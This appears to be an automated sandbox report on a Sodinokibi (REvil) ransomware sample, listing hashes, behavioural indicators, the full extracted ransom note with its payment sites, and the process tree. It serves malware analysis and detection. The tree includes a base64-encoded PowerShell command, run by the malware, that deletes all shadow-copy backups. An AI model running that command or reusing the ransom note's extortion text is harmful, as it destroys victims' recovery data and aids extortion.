sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1408s
max time network
1168s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
18-04-2024 16:34

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Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

8b24ea434d60f99e1ff50810fb8d28da
SHA1

259f3974763f09d57129b3881b427fd9d30358d8
SHA256

5bfb1237443e270d7297a9bb2d4cc44cbc4f3ad0f71db00012a4cc0ae461e6d2
SHA512

aed4d982bc7b4513abf5ba237f562cca1332a2997c8826c81a262fddd64de9074f073f88aecd03ae901d58f9e677cdf5c59f61222606fa5e7da20ade96776371
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/Na8hvRlmu:BrltH05f5v2i7O93NpvR0u

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\477f11ia-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 477f11ia. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BA5DAD12D58E903C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/BA5DAD12D58E903C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: IVgNPB3g+V8Qbd50LnghTiHCVcnbRfU3hT03oY7jrjJFyPrJn1FTKFr65rRrq4GP L/3ANI4OhBulv9Z66yvXDdZDGOEk7/sUGdbG0imjd165XZ05hYJxaK4GBAYaLag+ WL2zMHX+uW8lrhZ+7arLXvtGUZIqDN6+VQFRS3l7qeSbkJ7qUNPoK68/Hq5mn4K1 /1QtMOflVCtet/lolTWjxFAAT0sMLUcYNEboyiZ1/BWhwqy/aEMTT7jYhBluMlP+ wtt+xSUuEAxI291kZCLEWRpnmcTUxv1RHKk3Io5L+9T5jyvdNc9W5IWEwhUka+s6 /NnspQYqau7ntkyiyFVEpB+uE1tVTYP651lu85Z2qUG3W1PU7ckFhr9NrNnzX9jh 0XS5NQJ+8ppOOmTZzB6Yc8Pc931lt3pBVKGYv0yhcEcbv040fKMsRJQFUuNJweA6 OJL0NWGvnXirLgF7XtyOS4/2ic1Ee8HDCIcTxu9+MGHsmMwEHFSwsoMhpbkp/zVj SI6StDT2KVW7ErifUmr+NysFRgJtAQpcvOyFudplM/T/dX7MaGHeTT6jlFaB5Qhf ZBb9TuVgKMsFoahqkauhZd6TMYwnti0YhO3NwWp3ahcNThuPt9do0C1AYRCIEwLp g/o1i3CNt2PUgNXdfp76vmINCXzFAjYLPM/XJvQFrKrbRuftoWWT4J+71eHTWMsQ j8a6ZLNjubVfEMxud9rsfH9VdhToQc0977vr9JVjI+8XvXv8zD93ZBRz8+5d/g5H MS10cGypySUqrNHbxdpGQOJai12RMSxiWYEaij4SEzX35HATYHwzJOWqpZABcMHh m8PDHSNzpHgKEBrI3FpoqJ9syYVk677ihmQ8+649A7WJ0/SfHTZ6hupv//m9nDpY C6Jfl0tMFyLBza/q/G0zzXam8r1hOHPk1MVITurpDAPtIIXOLLSVLyGsZdVXurL+ UOnDa6gGlRO7U35QDjRamOnO8YqJYHA8yZiujbNJzQDbPPn3dO5hwU+i7Np5hvg/ DOkxSbJKxeX8ZmRVYZT3pFgytL6yulMtbdj4h/dlWanJ8MUdpoXBFf1WM2NFEmSW HIHQCMZfeKJYWNyUQIZg4FpeMfpC9BbfnRXxX85wU1PtDS1YPRutx2HtrcNuD9g1 N9Dy6sKeATjAa/AKygtXpY6lqVryNA+kwUKFV/FDIRh9tdoibpr/QiS2f04P5k1U sgGSKqvYGQVnEfZIXRYkhlrthER1Lw== Extension name: 477f11ia ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BA5DAD12D58E903C

http://decryptor.top/BA5DAD12D58E903C

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe

Drops file in Program Files directory 36 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\CompressLimit.png	rundll32.exe
File opened for modification	\??\c:\program files\InvokeHide.rtf	rundll32.exe
File opened for modification	\??\c:\program files\ReadBackup.vst	rundll32.exe
File opened for modification	\??\c:\program files\WaitCopy.vsd	rundll32.exe
File opened for modification	\??\c:\program files\CloseExpand.mid	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromRestore.gif	rundll32.exe
File opened for modification	\??\c:\program files\EnterConvertTo.ini	rundll32.exe
File opened for modification	\??\c:\program files\InitializeWait.vst	rundll32.exe
File opened for modification	\??\c:\program files\JoinEdit.mov	rundll32.exe
File opened for modification	\??\c:\program files\StartCopy.svgz	rundll32.exe
File opened for modification	\??\c:\program files\SubmitUnprotect.M2TS	rundll32.exe
File opened for modification	\??\c:\program files\SuspendBackup.vsx	rundll32.exe
File opened for modification	\??\c:\program files\DebugEnter.tiff	rundll32.exe
File opened for modification	\??\c:\program files\RevokeSync.snd	rundll32.exe
File opened for modification	\??\c:\program files\NewPublish.M2T	rundll32.exe
File opened for modification	\??\c:\program files\RestoreDismount.vssm	rundll32.exe
File opened for modification	\??\c:\program files\SkipRename.xps	rundll32.exe
File opened for modification	\??\c:\program files\StartNew.ini	rundll32.exe
File opened for modification	\??\c:\program files\StopReset.jtx	rundll32.exe
File opened for modification	\??\c:\program files\ApproveUninstall.mpeg2	rundll32.exe
File opened for modification	\??\c:\program files\ClearInvoke.rtf	rundll32.exe
File opened for modification	\??\c:\program files\CompressRead.mpg	rundll32.exe
File opened for modification	\??\c:\program files\DisableUse.MTS	rundll32.exe
File opened for modification	\??\c:\program files\SearchRevoke.xls	rundll32.exe
File opened for modification	\??\c:\program files\StopDismount.ttf	rundll32.exe
File opened for modification	\??\c:\program files\ExportSelect.3gpp	rundll32.exe
File opened for modification	\??\c:\program files\LockMount.wmf	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeSuspend.dotm	rundll32.exe
File created	\??\c:\program files\477f11ia-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompareRepair.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToAssert.vssm	rundll32.exe
File opened for modification	\??\c:\program files\GrantSave.WTV	rundll32.exe
File opened for modification	\??\c:\program files\ProtectRegister.tmp	rundll32.exe
File opened for modification	\??\c:\program files\UnlockSwitch.emz	rundll32.exe
File opened for modification	\??\c:\program files\UseProtect.wvx	rundll32.exe
File created	\??\c:\program files (x86)\477f11ia-readme.txt	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2344 rundll32.exe
2344 rundll32.exe
1232 powershell.exe
1232 powershell.exe

pid	process
2344	rundll32.exe
2344	rundll32.exe
1232	powershell.exe
1232	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeBackupPrivilege	656	vssvc.exe
Token: SeRestorePrivilege	656	vssvc.exe
Token: SeAuditPrivilege	656	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 5108 wrote to memory of 2344	5108	rundll32.exe	rundll32.exe
PID 5108 wrote to memory of 2344	5108	rundll32.exe	rundll32.exe
PID 5108 wrote to memory of 2344	5108	rundll32.exe	rundll32.exe
PID 2344 wrote to memory of 1232	2344	rundll32.exe	powershell.exe
PID 2344 wrote to memory of 1232	2344	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1232

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:656

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\477f11ia-readme.txt
Filesize
6KB

MD5
de0f7e632fe528887bf236dd6e346001

SHA1
b7ae9b5d7f96baa627f5902f9831f2b6f6fc5d78

SHA256
038279e6c1a1c6990eb031f5099601bd59f7e4fa1481ed681fe8d8b5ef64eabd

SHA512
977da540e4aff1c95ae0143320cde16e9611fba9e44bfaefbedfed10299084b087b4079950dffa2547f0be8843dcdc1dfb08523af1b692a4e377794e01f9e88a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_etajgzsl.hoi.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1232-2-0x000002143BF40000-0x000002143BF62000-memory.dmp

Filesize
136KB

Download
memory/1232-9-0x00007FFF14B10000-0x00007FFF155D2000-memory.dmp

Filesize
10.8MB

Download
memory/1232-11-0x000002143BFB0000-0x000002143BFC0000-memory.dmp

Filesize
64KB

Download
memory/1232-12-0x000002143BFB0000-0x000002143BFC0000-memory.dmp

Filesize
64KB

Download
memory/1232-10-0x000002143BFB0000-0x000002143BFC0000-memory.dmp

Filesize
64KB

Download
memory/1232-15-0x00007FFF14B10000-0x00007FFF155D2000-memory.dmp

Filesize
10.8MB

Download